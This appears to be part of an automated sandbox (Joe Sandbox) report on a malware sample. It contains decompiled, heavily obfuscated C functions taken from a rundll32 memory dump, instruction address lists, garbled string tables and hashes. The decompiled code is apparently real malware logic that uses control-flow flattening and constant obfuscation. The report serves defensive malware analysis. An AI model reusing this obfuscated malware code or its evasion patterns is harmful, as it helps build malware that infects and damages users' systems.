								_t1350 = E029D2CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1167 = _v8;
							}
							__eflags = _t1167 - 1;
							if(__eflags == 0) {
								_push(_t1278);
								_push(_v400);
								_push(_t1278);
								_t1278 = _v392;
								_t1167 = E029D2CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1350 = _t1167;
							}
						} else {
							_t1350 = _v196;
						}
						_t1240 = 0xe75263b;
						_t1353 = 0xf2d358e;
						goto L1;
					}
					__eflags = _t1353 - 0xb042b16;
					if(_t1353 != 0xb042b16) {
						goto L109;
					}
					_t1167 = E029DBA18();
					_t1353 = 0xc58f524;
					goto L1;
					L109:
					__eflags = _t1353 - 0xda639e1;
				} while (__eflags != 0);
				goto L114;
			}

0x029d91fd
0x029d9207
0x029d9214
0x029d921f
0x029d922a
0x029d9235
0x029d9240
0x029d924b
0x029d9256
0x029d925d
0x029d9268
0x029d9270
0x029d9278
0x029d9280
0x029d9288
0x029d9290
0x029d929b
0x029d92a6
0x029d92b1
0x029d92bc
0x029d92c7
0x029d92d2
0x029d92dd
0x029d92e8
0x029d92f3
0x029d92fe
0x029d9309
0x029d9311
0x029d931c
0x029d932f
0x029d9336
0x029d9344
0x029d9349
0x029d9352
0x029d935d
0x029d9369
0x029d936c
0x029d9370
0x029d9378
0x029d937d
0x029d9385
0x029d938d
0x029d9392
0x029d939a
0x029d93a2
0x029d93aa
0x029d93b5
0x029d93c8
0x029d93cf
0x029d93da
0x029d93e5
0x029d93ed
0x029d93f8
0x029d9400
0x029d9405
0x029d940d
0x029d9415
0x029d941d
0x029d9425
0x029d942a
0x029d9437
0x029d943b
0x029d9443
0x029d944e
0x029d9459
0x029d9464
0x029d946f
0x029d9486
0x029d9489
0x029d9490
0x029d949b
0x029d94a6
0x029d94b9
0x029d94c0
0x029d94cb
0x029d94d6
0x029d94de
0x029d94e6
0x029d94f1
0x029d94fc
0x029d9507
0x029d950f
0x029d951a
0x029d9530
0x029d9537
0x029d9542
0x029d9557
0x029d955a
0x029d9566
0x029d956a
0x029d9572
0x029d957d
0x029d9585
0x029d958c
0x029d9597
0x029d95aa
0x029d95ab
0x029d95b2
0x029d95bd
0x029d95c8
0x029d95d3
0x029d95db
0x029d95e6
0x029d95f1
0x029d95fc
0x029d9604
0x029d960f
0x029d961a
0x029d9625
0x029d9630
0x029d963b
0x029d9646
0x029d9654
0x029d9658
0x029d9660
0x029d9665
0x029d966d
0x029d9680
0x029d9687
0x029d9692
0x029d969d
0x029d96b0
0x029d96b7
0x029d96c2
0x029d96cd
0x029d96d8
0x029d96e3
0x029d96f0
0x029d96fb
0x029d9706
0x029d9711
0x029d971c
0x029d9730
0x029d9735
0x029d973e
0x029d9749
0x029d9754
0x029d975f
0x029d976a
0x029d9775
0x029d9780
0x029d9788
0x029d9793
0x029d979b
0x029d97a6
0x029d97ae
0x029d97bb
0x029d97be
0x029d97ca
0x029d97ce
0x029d97d6
0x029d97e1
0x029d97ec
0x029d97f7
0x029d9802
0x029d980d
0x029d981f
0x029d9824
0x029d9834
0x029d9839
0x029d9842
0x029d984d
0x029d9858
0x029d9863
0x029d986b
0x029d9876
0x029d987e
0x029d9883
0x029d9884
0x029d9888
0x029d9890
0x029d9898
0x029d98a0
0x029d98b4
0x029d98bb
0x029d98c6
0x029d98ce
0x029d98d6
0x029d98db
0x029d98e3
0x029d98eb
0x029d98f6
0x029d9901
0x029d990e
0x029d9922
0x029d9927
0x029d992e
0x029d9939
0x029d9944
0x029d994c
0x029d9954
0x029d995c
0x029d9961
0x029d9969
0x029d9974
0x029d997c
0x029d9987
0x029d9997
0x029d999d
0x029d99a5
0x029d99ad
0x029d99b5
0x029d99c0
0x029d99cb
0x029d99d6
0x029d99de
0x029d99e9
0x029d99f4
0x029d9a07
0x029d9a0a
0x029d9a11
0x029d9a1c
0x029d9a27
0x029d9a3a
0x029d9a41
0x029d9a49
0x029d9a54
0x029d9a5f
0x029d9a72
0x029d9a79
0x029d9a84
0x029d9a9a
0x029d9aa1
0x029d9aac
0x029d9ab7
0x029d9ac2
0x029d9acd
0x029d9ad8
0x029d9ae3
0x029d9aee
0x029d9af9
0x029d9b04
0x029d9b0f
0x029d9b1a
0x029d9b2c
0x029d9b2f
0x029d9b36
0x029d9b41
0x029d9b4c
0x029d9b54
0x029d9b5f
0x029d9b6a
0x029d9b75
0x029d9b80
0x029d9b8b
0x029d9b96
0x029d9ba1
0x029d9bac
0x029d9bb7
0x029d9bc2
0x029d9bcf
0x029d9bda
0x029d9be2
0x029d9bed
0x029d9bf8
0x029d9c03
0x029d9c0e
0x029d9c19
0x029d9c24
0x029d9c2f
0x029d9c37
0x029d9c3f
0x029d9c4a
0x029d9c5e
0x029d9c63
0x029d9c6c
0x029d9c77
0x029d9c82
0x029d9c8a
0x029d9c95
0x029d9ca0
0x029d9cab
0x029d9cb6
0x029d9cbe
0x029d9cc6
0x029d9cd1
0x029d9cd9
0x029d9ce1
0x029d9ce6
0x029d9cee
0x029d9cf6
0x029d9d01
0x029d9d0c
0x029d9d17
0x029d9d22
0x029d9d2d
0x029d9d38
0x029d9d43
0x029d9d4e
0x029d9d56
0x029d9d61
0x029d9d6c
0x029d9d74
0x029d9d7c
0x029d9d84
0x029d9d8c
0x029d9d94
0x029d9d9f
0x029d9daa
0x029d9db5
0x029d9dc0
0x029d9dc8
0x029d9dd3
0x029d9dde
0x029d9de9
0x029d9df1
0x029d9df6
0x029d9dfe
0x029d9e03
0x029d9e0b
0x029d9e1d
0x029d9e20
0x029d9e27
0x029d9e32
0x029d9e3d
0x029d9e45
0x029d9e50
0x029d9e5b
0x029d9e66
0x029d9e71
0x029d9e7c
0x029d9e87
0x029d9e92
0x029d9ea8
0x029d9ead
0x029d9eb6
0x029d9ec1
0x029d9ec9
0x029d9ed1
0x029d9ed9
0x029d9ee1
0x029d9ee9
0x029d9ef4
0x029d9efc
0x029d9f07
0x029d9f12
0x029d9f1d
0x029d9f28
0x029d9f33
0x029d9f3e
0x029d9f49
0x029d9f54
0x029d9f61
0x029d9f64
0x029d9f68
0x029d9f75
0x029d9f79
0x029d9f81
0x029d9f8c
0x029d9f97
0x029d9fa2
0x029d9fb2
0x029d9fb6
0x029d9fc2
0x029d9fc5
0x029d9fc9
0x029d9fd1
0x029d9fd9
0x029d9fe6
0x029d9fea
0x029d9ff2
0x029d9ffd
0x029da008
0x029da010
0x029da01b
0x029da023
0x029da028
0x029da02d
0x029da035
0x029da03d
0x029da045
0x029da04d
0x029da055
0x029da05d
0x029da065
0x029da070
0x029da07b
0x029da086
0x029da091
0x029da099
0x029da0a4
0x029da0af
0x029da0c2
0x029da0c9
0x029da0d1
0x029da0dc
0x029da0f2
0x029da0f7
0x029da100
0x029da10b
0x029da116
0x029da121
0x029da12c
0x029da137
0x029da142
0x029da14d
0x029da158
0x029da163
0x029da16e
0x029da179
0x029da184
0x029da18f
0x029da1a2
0x029da1a5
0x029da1ac
0x029da1b7
0x029da1c2
0x029da1cd
0x029da1d8
0x029da1e0
0x029da1ed
0x029da1f1
0x029da1f9
0x029da201
0x029da20c
0x029da217
0x029da21f
0x029da22a
0x029da232
0x029da23a
0x029da242
0x029da246
0x029da24e
0x029da259
0x029da264
0x029da26f
0x029da27a
0x029da285
0x029da290
0x029da298
0x029da2a3
0x029da2b9
0x029da2c0
0x029da2cb
0x029da2d6
0x029da2e1
0x029da2e8
0x029da2f3
0x029da305
0x029da308
0x029da30f
0x029da31a
0x029da325
0x029da330
0x029da33b
0x029da346
0x029da351
0x029da359
0x029da360
0x029da36b
0x029da376
0x029da383
0x029da397
0x029da39c
0x029da3a5
0x029da3b5
0x029da3bd
0x029da3c5
0x029da3cd
0x029da3d5
0x029da3dd
0x029da3e8
0x029da3f8
0x029da3fb
0x029da402
0x029da409
0x029da410
0x029da41b
0x029da426
0x029da431
0x029da43c
0x029da447
0x029da452
0x029da45d
0x029da468
0x029da470
0x029da47a
0x029da47e
0x029da486
0x029da48e
0x029da496
0x029da49a
0x029da4a2
0x029da4a7
0x029da4af
0x029da4ba
0x029da4c5
0x029da4d0
0x029da4db
0x029da4e3
0x029da4e7
0x029da4ef
0x029da4f7
0x029da4ff
0x029da515
0x029da51c
0x029da527
0x029da532
0x029da53d
0x029da54f
0x029da552
0x029da559
0x029da559
0x029da564
0x029da564
0x029da564
0x029da564
0x029da56a
0x00000000
0x00000000
0x029da570
0x029daa28
0x029daa2d
0x029daa34
0x029daa3c
0x00000000
0x029daa3c
0x029da576
0x029da57c
0x029da896
0x029da89c
0x029da936
0x029da93c
0x029da9bf
0x029da9c1
0x029da9e4
0x029da9ed
0x029da9f5
0x00000000
0x029da9f5
0x029da9ca
0x029da9d3
0x029da9d5
0x029da9ab
0x029da9ab
0x00000000
0x029da9ab
0x029da93e
0x029da944
0x029da99a
0x029da9a3
0x029da9a5
0x029da9a5
0x00000000
0x029da9a5
0x029da946
0x029da94c
0x029dae59
0x029dae5e
0x029dae65
0x029dae65
0x029da952
0x029da958
0x00000000
0x00000000
0x029da97a
0x029da981
0x029da986
0x029da989
0x00000000
0x029da989
0x029da8a2
0x029da91e
0x029da925
0x029da92a
0x00000000
0x029da92a
0x029da8a4
0x029da8aa
0x029da90f
0x029da914
0x00000000
0x029da914
0x029da8ac
0x029da8b2
0x029dae4b
0x00000000
0x029dae4b
0x029da8b8
0x029da8be
0x029da8f5
0x029da8fa
0x00000000
0x029da8fa
0x029da8c0
0x029da8c6
0x00000000
0x00000000
0x029da8d7
0x029da8dc
0x029da8de
0x00000000
0x00000000
0x029da8e4
0x00000000
0x029da8e4
0x029da582
0x029dae3a
0x00000000
0x029dae3f
0x029da588
0x029da58e
0x029da7b8
0x029da7be
0x029da838
0x029da83f
0x029da88f
0x029da88f
0x00000000
0x029da88f
0x029da868
0x029da86d
0x029da870
0x029da877
0x029da88a
0x00000000
0x029da88a
0x029da879
0x00000000
0x029da879
0x029da7c0
0x029da7c6
0x029da822
0x029da827
0x029da82e
0x00000000
0x029da82e
0x029da7c8
0x029da7ce
0x029da805
0x029da80a
0x00000000
0x029da80a
0x029da7d0
0x029da7d6
0x00000000
0x00000000
0x029da7e7
0x029da7ec
0x029da7ee
0x00000000
0x00000000
0x029da7f4
0x00000000
0x029da7f4
0x029da594
0x029da7a2
0x029da7a7
0x029da7ae
0x00000000
0x029da7ae
0x029da5a0
0x029da78c
0x029da791
0x00000000
0x029da791
0x029da5ac
0x029da6d1
0x029da6ff
0x029da720
0x029da742
0x029da74a
0x029da750
0x029da771
0x029da776
0x00000000
0x029da776
0x029da5b8
0x029da68b
0x029da690
0x029da697
0x029da69f
0x00000000
0x029da69f
0x029da5c4
0x00000000
0x00000000
0x029da5e7
0x029da5ed
0x029da5f0
0x029da62f
0x029da636
0x029da639
0x029da645
0x029da647
0x029da64e
0x029da64e
0x00000000
0x029da64e
0x029da649
0x029da64c
0x029da625
0x029da625
0x00000000
0x029da625
0x00000000
0x029da64c
0x029da63b
0x00000000
0x029da63b
0x029da60b
0x029da60c
0x029da610
0x029da612
0x029da619
0x029da61e
0x029da621
0x029da623
0x00000000
0x029da623
0x029daa47
0x029daa4d
0x029dac6a
0x029dac70
0x029dad69
0x029dad6f
0x029dadf6
0x029dadfb
0x029dadfd
0x029dae06
0x029dae06
0x029dae0b
0x00000000
0x029dae0b
0x029dad71
0x029dad77
0x029dadde
0x029dade5
0x00000000
0x029dade5
0x029dad79
0x029dad7f
0x00000000
0x00000000
0x029dad8c
0x029dad98
0x029dadb2
0x029dadb3
0x029dadba
0x029dadbc
0x029dadc3
0x029dadc8
0x029dadcb
0x029dacc8
0x029dacc8
0x00000000
0x029dacc8
0x029dac76
0x029dad52
0x029dad57
0x029dad59
0x00000000
0x00000000
0x029dad5f
0x00000000
0x029dad5f
0x029dac7c
0x029dac82
0x029dad1c
0x029dad28
0x029dad31
0x029dad39
0x00000000
0x029dad39
0x029dac88
0x029dac8e
0x029dad06
0x029dad0b
0x00000000
0x029dad0b
0x029dac90
0x029dac92
0x029dace8
0x029daced
0x029dacee
0x00000000
0x029dacee
0x029dac94
0x029dac9a
0x00000000
0x00000000
0x029dacb9
0x029dacc0
0x029dacc5
0x00000000
0x029dacc5
0x029daa53
0x029dac5b
0x029dac60
0x00000000
0x029dac60
0x029daa59
0x029daa5f
0x029dab9b
0x029daba1
0x029dac3e
0x029dac43
0x00000000
0x029dac43
0x029daba7
0x029dabad
0x029dac15
0x029dac1c
0x029dac21
0x029dac22
0x029dac29
0x00000000
0x029dac29
0x029dabaf
0x029dabb5
0x029dabe8
0x029dabec
0x029dabee
0x00000000
0x029dabee
0x029dabb7
0x029dabbd
0x00000000
0x00000000
0x029dabd1
0x029dabd6
0x029dabd8
0x00000000
0x00000000
0x029dabde
0x00000000
0x029dabde
0x029daa65
0x029dab7f
0x029dab88
0x029dab90
0x00000000
0x029dab90
0x029daa6b
0x029daa71
0x029dab5d
0x029dab62
0x029dab64
0x00000000
0x00000000
0x029dab6a
0x00000000
0x029dab6a
0x029daa77
0x029daa7d
0x029dab4f
0x00000000
0x029dab4f
0x029daa83
0x029daa89
0x029daac0
0x029daac5
0x029daac6
0x029daac8
0x029daad3
0x029daada
0x029daadc
0x029daaf1
0x029daaf2
0x029daaf6
0x029daaf8
0x029dab01
0x029dab03
0x029dab06
0x029dab06
0x029dab0d
0x029dab10
0x029dab28
0x029dab29
0x029dab30
0x029dab32
0x029dab39
0x029dab3e
0x029dab41
0x029dab41
0x029daaca
0x029daaca
0x029daaca
0x029dab43
0x029dab45
0x00000000
0x029dab45
0x029daa8b
0x029daa91
0x00000000
0x00000000
0x029daa9b
0x029daaa0
0x00000000
0x029dae10
0x029dae10
0x029dae10
0x00000000

Strings

u+J, xrefs: 029DAE0B
l?U, xrefs: 029D98EB
,H<, xrefs: 029DA351
&\b, xrefs: 029DA564
u+J, xrefs: 029DA952
qM0, xrefs: 029DA4BA
~/, xrefs: 029D95DB
td, xrefs: 029D9DF6
jo, xrefs: 029D9F8C
CK, xrefs: 029D987E
8YNn, xrefs: 029D9235
@0, xrefs: 029D939A
~c, xrefs: 029D97D6
u+J, xrefs: 029DA625
Ao, xrefs: 029DA2C0
[, xrefs: 029D9BC2
*p, xrefs: 029D9658
fM6, xrefs: 029D9E32
oC., xrefs: 029D9207
;, xrefs: 029D9F68
q, xrefs: 029D9268
ll, xrefs: 029D9788
]p, xrefs: 029D940D
&\b, xrefs: 029DACEE
&]^, xrefs: 029DA24E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: qM0$&\b$&\b$&]^$*p$,H<$8YNn$@0$Ao$CK$]p$fM6$jo$l?U$ll$oC.$td$u+J$u+J$u+J$~/$;$~c$[$q
API String ID: 0-640385374
Opcode ID: 2e26f80b3e1de7254931b53224d73e11b22741c96ec5725c904f8fe503d36b4f
Instruction ID: dc0fc1a18030fe9f6cc33c11bde104e4824606528a09d3c06d65b9aa2aa87948
Opcode Fuzzy Hash: 2e26f80b3e1de7254931b53224d73e11b22741c96ec5725c904f8fe503d36b4f
Instruction Fuzzy Hash: 5AD210719093808BD3B8DF24C98A7CBBBE1BBC4318F10891DE5D996260DBB49959DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D89DA, Relevance: 10.3, Strings: 8, Instructions: 318
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E029D89DA() {
				char _v524;
				signed int _v528;
				signed int _v532;
				intOrPtr _v536;
				signed int _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				char _v580;
				intOrPtr _v584;
				char _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				signed int _v636;
				signed int _v640;
				signed int _v644;
				signed int _v648;
				signed int _v652;
				signed int _v656;
				signed int _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				signed int _v676;
				signed int _v680;
				signed int _v684;
				signed int _v688;
				signed int _v692;
				signed int _v696;
				signed int _v700;
				signed int _v704;
				signed int _v708;
				signed int _t347;
				intOrPtr _t354;
				void* _t358;
				char _t371;
				void* _t403;
				signed int _t404;
				signed int _t405;
				signed int _t406;
				signed int _t407;
				signed int _t408;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				signed int* _t417;

				_t417 =  &_v708;
				_v532 = _v532 & 0x00000000;
				_v528 = _v528 & 0x00000000;
				_t358 = 0x8c0cbd5;
				_v536 = 0x6dc292;
				_v644 = 0x989675;
				_v644 = _v644 + 0xffff9fdc;
				_t404 = 0xe;
				_v644 = _v644 / _t404;
				_v644 = _v644 ^ 0x000adf4f;
				_t403 = 0;
				_v596 = 0x3e9c14;
				_v596 = _v596 | 0x1a24748f;
				_v596 = _v596 ^ 0x1a3efd9f;
				_v708 = 0x129b00;
				_v708 = _v708 + 0xffffabef;
				_v708 = _v708 + 0xffff405c;
				_v708 = _v708 | 0xad8b68fe;
				_v708 = _v708 ^ 0xad9beffc;
				_v640 = 0x17585e;
				_v640 = _v640 >> 4;
				_v640 = _v640 ^ 0x7aac2059;
				_v640 = _v640 ^ 0x7aad55dc;
				_v684 = 0xebdf26;
				_v684 = _v684 + 0x4aa7;
				_v684 = _v684 ^ 0xe6eebd87;
				_v684 = _v684 << 8;
				_v684 = _v684 ^ 0x029be0aa;
				_v692 = 0x969cdf;
				_v692 = _v692 | 0x9df6d34e;
				_v692 = _v692 + 0xffff5933;
				_t405 = 0x76;
				_v692 = _v692 / _t405;
				_v692 = _v692 ^ 0x0156bb46;
				_v600 = 0xf4250f;
				_v600 = _v600 | 0x09a4de6f;
				_v600 = _v600 ^ 0x09f6db4e;
				_v700 = 0xaf5ab6;
				_v700 = _v700 ^ 0xcaf78780;
				_v700 = _v700 ^ 0x48592258;
				_v700 = _v700 | 0x3566b98a;
				_v700 = _v700 ^ 0xb7685338;
				_v632 = 0x4b1a10;
				_t406 = 0x1e;
				_v632 = _v632 * 0x38;
				_v632 = _v632 >> 5;
				_v632 = _v632 ^ 0x008fd8b3;
				_v652 = 0xecd774;
				_v652 = _v652 + 0x2f77;
				_v652 = _v652 << 8;
				_v652 = _v652 ^ 0xed09f1a5;
				_v608 = 0x85220c;
				_v608 = _v608 >> 0xd;
				_v608 = _v608 ^ 0x0000e0b9;
				_v696 = 0x550397;
				_v696 = _v696 >> 2;
				_v696 = _v696 ^ 0xe6635f4b;
				_v696 = _v696 << 0xa;
				_v696 = _v696 ^ 0xd8732559;
				_v664 = 0xe759ad;
				_v664 = _v664 >> 9;
				_v664 = _v664 / _t406;
				_v664 = _v664 ^ 0x000ce79a;
				_v612 = 0x53b0cb;
				_v612 = _v612 << 0xb;
				_v612 = _v612 ^ 0x9d8cfa49;
				_v656 = 0x60e4b6;
				_t407 = 0x7c;
				_v656 = _v656 * 0x5d;
				_v656 = _v656 >> 1;
				_v656 = _v656 ^ 0x11926f24;
				_v604 = 0x85927;
				_v604 = _v604 / _t407;
				_v604 = _v604 ^ 0x0004dfd6;
				_v624 = 0xddfaa4;
				_v624 = _v624 << 1;
				_t408 = 0x4f;
				_v624 = _v624 / _t408;
				_v624 = _v624 ^ 0x000d1445;
				_v660 = 0x48b692;
				_t409 = 0x25;
				_v660 = _v660 * 0x31;
				_v660 = _v660 / _t409;
				_v660 = _v660 ^ 0x00693142;
				_v592 = 0x3c2c;
				_v592 = _v592 | 0x13734d92;
				_v592 = _v592 ^ 0x1374e23a;
				_v628 = 0x616169;
				_v628 = _v628 | 0x0ca07919;
				_t410 = 0x62;
				_v628 = _v628 / _t410;
				_v628 = _v628 ^ 0x002e308f;
				_v636 = 0xb3b307;
				_v636 = _v636 << 0xe;
				_t411 = 0xc;
				_v636 = _v636 / _t411;
				_v636 = _v636 ^ 0x13be71c1;
				_v688 = 0x765eaf;
				_v688 = _v688 << 5;
				_v688 = _v688 + 0xd5af;
				_v688 = _v688 ^ 0x6f133939;
				_v688 = _v688 ^ 0x61db9f27;
				_v680 = 0xe676f4;
				_v680 = _v680 | 0x0f0600fc;
				_v680 = _v680 + 0x32e8;
				_v680 = _v680 >> 0x10;
				_v680 = _v680 ^ 0x000ff84c;
				_v672 = 0x6b8bdf;
				_v672 = _v672 << 0xf;
				_t412 = 0x4b;
				_v672 = _v672 / _t412;
				_v672 = _v672 >> 0xb;
				_v672 = _v672 ^ 0x0003474a;
				_v648 = 0x583b67;
				_v648 = _v648 ^ 0x91ae491e;
				_v648 = _v648 ^ 0xe58f0aab;
				_v648 = _v648 ^ 0x747c61df;
				_v620 = 0x170d4a;
				_v620 = _v620 + 0x280d;
				_v620 = _v620 + 0x2b70;
				_v620 = _v620 ^ 0x0011831a;
				_v704 = 0x16af50;
				_v704 = _v704 + 0xffffd4d6;
				_v704 = _v704 + 0xffff1ecb;
				_v704 = _v704 ^ 0xb6b85bb8;
				_v704 = _v704 ^ 0xb6a532c7;
				_v668 = 0x75bc8b;
				_v668 = _v668 << 0xc;
				_v668 = _v668 + 0xdfef;
				_t413 = 0x64;
				_v668 = _v668 / _t413;
				_v668 = _v668 ^ 0x00e93791;
				_v616 = 0x841ad8;
				_t414 = 0x36;
				_v616 = _v616 / _t414;
				_v616 = _v616 ^ 0x000da753;
				_t357 = _v616;
				_v676 = 0x15bb94;
				_v676 = _v676 ^ 0x1510b175;
				_v676 = _v676 + 0xffff851d;
				_v676 = _v676 >> 0xc;
				_v676 = _v676 ^ 0x00038b10;
				do {
					while(_t358 != 0x72ae81) {
						if(_t358 == 0xb71d2e) {
							E029D9038(_v668, _v616, _t357, _v676); // executed
						} else {
							if(_t358 == 0x3e220a4) {
								_t347 = E029D2D06(_v596, _v660, _v592,  &_v524, _t358, _v708, _v628, _v636, _v688, _t358, _v680, 0, _v644); // executed
								_t357 = _t347;
								_t417 =  &(_t417[0xb]);
								__eflags = _t347 - 0xffffffff;
								if(__eflags != 0) {
									_t358 = 0xf5e2107;
									continue;
								}
							} else {
								if(_t358 == 0x8c0cbd5) {
									_t358 = 0x72ae81;
									continue;
								} else {
									if(_t358 == 0x95a34a5) {
										_push(0x29c141c);
										E029E06A6(__eflags,  *0x29e5bd8 + 0x238, _v608, E029E0AD3(_v632, _v652, __eflags), _v696, _v664,  &_v524, _v612);
										_t417 =  &(_t417[7]);
										E029D2EED(_v656, _v604, _v624, _t348);
										_t358 = 0x3e220a4;
										continue;
									} else {
										if(_t358 == 0xf47d0b8) {
											_v588 = _v588 - E029C2CB5(_t358);
											_t358 = 0x95a34a5;
											asm("sbb [esp+0x8c], edx");
											continue;
										} else {
											if(_t358 != 0xf5e2107) {
												goto L15;
											} else {
												_t354 = _v584;
												_t371 = _v588;
												_v576 = _t354;
												_v568 = _t354;
												_v560 = _t354;
												_v552 = _t354;
												_v580 = _t371;
												_v572 = _t371;
												_v564 = _t371;
												_v556 = _t371;
												_v548 = _v640;
												E029C890E(_t357,  &_v580, _v672, _v648, _t371, _t371, _v620, _v704); // executed
												_t417 =  &(_t417[6]);
												_t403 =  !=  ? 1 : _t403;
												_t358 = 0xb71d2e;
												continue;
											}
										}
									}
								}
							}
						}
						L18:
						return _t403;
					}
					E029C921F(_v684, _v692,  &_v588, _v600, _v700);
					_t417 =  &(_t417[3]);
					_t358 = 0xf47d0b8;
					L15:
					__eflags = _t358 - 0x6e156f7;
				} while (__eflags != 0);
				goto L18;
			}

0x029d89da
0x029d89e0
0x029d89ea
0x029d89f2
0x029d89f7
0x029d8a02
0x029d8a0a
0x029d8a1c
0x029d8a21
0x029d8a27
0x029d8a2f
0x029d8a31
0x029d8a3c
0x029d8a47
0x029d8a52
0x029d8a5a
0x029d8a62
0x029d8a6a
0x029d8a72
0x029d8a7a
0x029d8a82
0x029d8a87
0x029d8a8f
0x029d8a97
0x029d8a9f
0x029d8aa7
0x029d8aaf
0x029d8ab4
0x029d8abc
0x029d8ac4
0x029d8acc
0x029d8ad8
0x029d8add
0x029d8ae3
0x029d8aeb
0x029d8af6
0x029d8b01
0x029d8b0c
0x029d8b14
0x029d8b1c
0x029d8b24
0x029d8b2c
0x029d8b34
0x029d8b41
0x029d8b42
0x029d8b46
0x029d8b4b
0x029d8b53
0x029d8b5b
0x029d8b63
0x029d8b68
0x029d8b70
0x029d8b78
0x029d8b7d
0x029d8b85
0x029d8b8d
0x029d8b92
0x029d8b9a
0x029d8b9f
0x029d8ba7
0x029d8baf
0x029d8bba
0x029d8bbe
0x029d8bc6
0x029d8bce
0x029d8bd3
0x029d8bdd
0x029d8bec
0x029d8bef
0x029d8bf3
0x029d8bf7
0x029d8bff
0x029d8c0f
0x029d8c13
0x029d8c1b
0x029d8c23
0x029d8c2b
0x029d8c30
0x029d8c36
0x029d8c3e
0x029d8c4b
0x029d8c4e
0x029d8c5a
0x029d8c5e
0x029d8c66
0x029d8c71
0x029d8c7c
0x029d8c87
0x029d8c8f
0x029d8c9b
0x029d8ca0
0x029d8ca6
0x029d8cae
0x029d8cb6
0x029d8cbf
0x029d8cc4
0x029d8cca
0x029d8cd2
0x029d8cda
0x029d8cdf
0x029d8ce7
0x029d8cef
0x029d8cf7
0x029d8cff
0x029d8d07
0x029d8d0f
0x029d8d14
0x029d8d1c
0x029d8d24
0x029d8d2d
0x029d8d30
0x029d8d34
0x029d8d39
0x029d8d41
0x029d8d49
0x029d8d51
0x029d8d59
0x029d8d61
0x029d8d69
0x029d8d71
0x029d8d79
0x029d8d83
0x029d8d90
0x029d8d98
0x029d8da0
0x029d8da8
0x029d8db0
0x029d8db8
0x029d8dbd
0x029d8dcb
0x029d8dd0
0x029d8dd6
0x029d8dde
0x029d8dea
0x029d8ded
0x029d8df1
0x029d8df9
0x029d8dfd
0x029d8e05
0x029d8e0d
0x029d8e15
0x029d8e1a
0x029d8e22
0x029d8e22
0x029d8e30
0x029d9018
0x029d8e36
0x029d8e3c
0x029d8fbc
0x029d8fc1
0x029d8fc3
0x029d8fc6
0x029d8fc9
0x029d8fcb
0x00000000
0x029d8fcb
0x029d8e42
0x029d8e48
0x029d8f7f
0x00000000
0x029d8e4e
0x029d8e54
0x029d8f1d
0x029d8f56
0x029d8f5b
0x029d8f6e
0x029d8f75
0x00000000
0x029d8e5a
0x029d8e60
0x029d8efd
0x029d8f04
0x029d8f09
0x00000000
0x029d8e66
0x029d8e6c
0x00000000
0x029d8e72
0x029d8e72
0x029d8e80
0x029d8e87
0x029d8e8e
0x029d8e95
0x029d8e9c
0x029d8eab
0x029d8eb6
0x029d8ec3
0x029d8ece
0x029d8ed7
0x029d8ede
0x029d8ee5
0x029d8eeb
0x029d8eee
0x00000000
0x029d8eee
0x029d8e6c
0x029d8e60
0x029d8e54
0x029d8e48
0x029d8e3c
0x029d901f
0x029d902b
0x029d902b
0x029d8ff0
0x029d8ff5
0x029d8ff8
0x029d8ffd
0x029d8ffd
0x029d8ffd
0x00000000

Strings

g;X, xrefs: 029D8D41
w/, xrefs: 029D8B5B
,<, xrefs: 029D8C66
iaa, xrefs: 029D8C87
K_c, xrefs: 029D8B92
p+, xrefs: 029D8D71
B1i, xrefs: 029D8C5E
2, xrefs: 029D8D07

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: ,<$B1i$K_c$g;X$iaa$p+$w/$2
API String ID: 0-2198714066
Opcode ID: 9bb0ac3ba1d84244b73a0e9263268d99dd57c6000c24b00a0a8ae27e9c57e604
Instruction ID: 59f1c8e6fab545974b9a30a22b4b12d29918d245294e93a5d3abc3728f7a3f41
Opcode Fuzzy Hash: 9bb0ac3ba1d84244b73a0e9263268d99dd57c6000c24b00a0a8ae27e9c57e604
Instruction Fuzzy Hash: 75F142715083409FD368DF26C94AA5BBBF2FBC4718F50891DF2AA86260D7B58909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029DED95, Relevance: 9.1, Strings: 7, Instructions: 364
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E029DED95() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				intOrPtr _v1568;
				unsigned int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				unsigned int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _t395;
				signed short* _t397;
				signed int* _t409;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t417;
				signed int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t428;
				signed int* _t456;
				void* _t457;
				signed short* _t463;
